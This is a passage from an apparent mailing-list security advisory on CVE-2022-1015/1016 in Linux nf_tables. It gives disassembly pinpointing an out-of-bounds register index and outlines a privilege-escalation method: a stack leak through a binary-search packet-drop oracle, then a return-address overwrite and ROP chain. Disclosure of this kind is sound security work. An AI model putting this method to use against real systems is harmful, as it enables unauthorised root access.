    2ee7: 45 31 e4             xor    %r12d,%r12d
    2eea: 48 85 d2             test   %rdx,%rdx

2eed: 74 3a je 2f29 <nft\_validate\_register\_store+0x59>

    2eef: 8b 02                 mov    (%rdx),%eax
    2ef1: 83 c0 04             add    $0x4,%eax
    2ef4: 83 f8 01             cmp    $0x1,%eax

2ef7: 77 30 ja 2f29 <nft\_validate\_register\_store+0x59>

    2ef9: 48 8b 72 08           mov    0x8(%rdx),%rsi
    2efd: e8 7e da ff ff       callq  980 <nf\_tables\_check\_loops>
    2f02: 85 c0                 test   %eax,%eax
    2f04: 44 0f 4e e0           cmovle %eax,%r12d

2f08: eb 1f jmp 2f29 <nft\_validate\_register\_store+0x59>

    2f0a: 83 fe 03             cmp    $0x3,%esi

2f0d: 76 21 jbe 2f30 <nft\_validate\_register\_store+0x60>

    2f0f: 45 85 c0             test   %r8d,%r8d

2f12: 74 1c je 2f30 <nft\_validate\_register\_store+0x60>

    2f14: 41 8d 04 b0           lea    (%r8,%rsi,4),%eax
    2f18: 83 f8 50             cmp    $0x50,%eax

2f1b: 77 1b ja 2f38 <nft\_validate\_register\_store+0x68>

    2f1d: 48 85 d2             test   %rdx,%rdx

2f20: 74 04 je 2f26 <nft\_validate\_register\_store+0x56>

    2f22: 85 c9                 test   %ecx,%ecx

2f24: 75 0a jne 2f30 <nft\_validate\_register\_store+0x60>

    2f26: 45 31 e4             xor    %r12d,%r12d
    2f29: 44 89 e0             mov    %r12d,%eax
    2f2c: 41 5c                 pop    %r12
    2f2e: 5d                   pop    %rbp
    2f2f: c3                   retq
    2f30: 41 bc ea ff ff ff     mov    $0xffffffea,%r12d

2f36: eb f1 jmp 2f29 <nft\_validate\_register\_store+0x59>

    2f38: 41 bc de ff ff ff     mov    $0xffffffde,%r12d

2f3e: eb e9 jmp 2f29 <nft\_validate\_register\_store+0x59>

\`\`\`

the \`lea\` instruction at \`2f14\` will multiply \`%rsi\` (reg) by 4 and add \`%r8\` len to it.

I created a working local privilege escalation exploit by using such an out of bounds index to copy stack data to the actual register area (declared in nf\_tables\_core.c:nft\_do\_chain). Then, I wrote a a few nft rules that drop or accept packets depending on whether the targeted byte is greater than the constant comparand in the rule or not. This way I could create a binary search procedure that could determine the value of the leaked byte by registering whether the packet was dropped or not. This results in a kernel address leak.

Finally, I used a nft payload expression to write my arbitrary data supplied in a packet to the stack in order to overwrite a return address and execute a ROP chain.

An alternative exploitation strategy would be to overwrite to verdict register (including its chain pointer) to arbitrary values, as you can now get an register index of 0 in the same manner.

\------------------------------

David Bouman

**Current thread:**

*   **Linux kernel: CVE-2022-1015,CVE-2022-1016 in nf\_tables cause privilege escalation, information leak** _David Bouman (Mar 28)_

Tag

#linux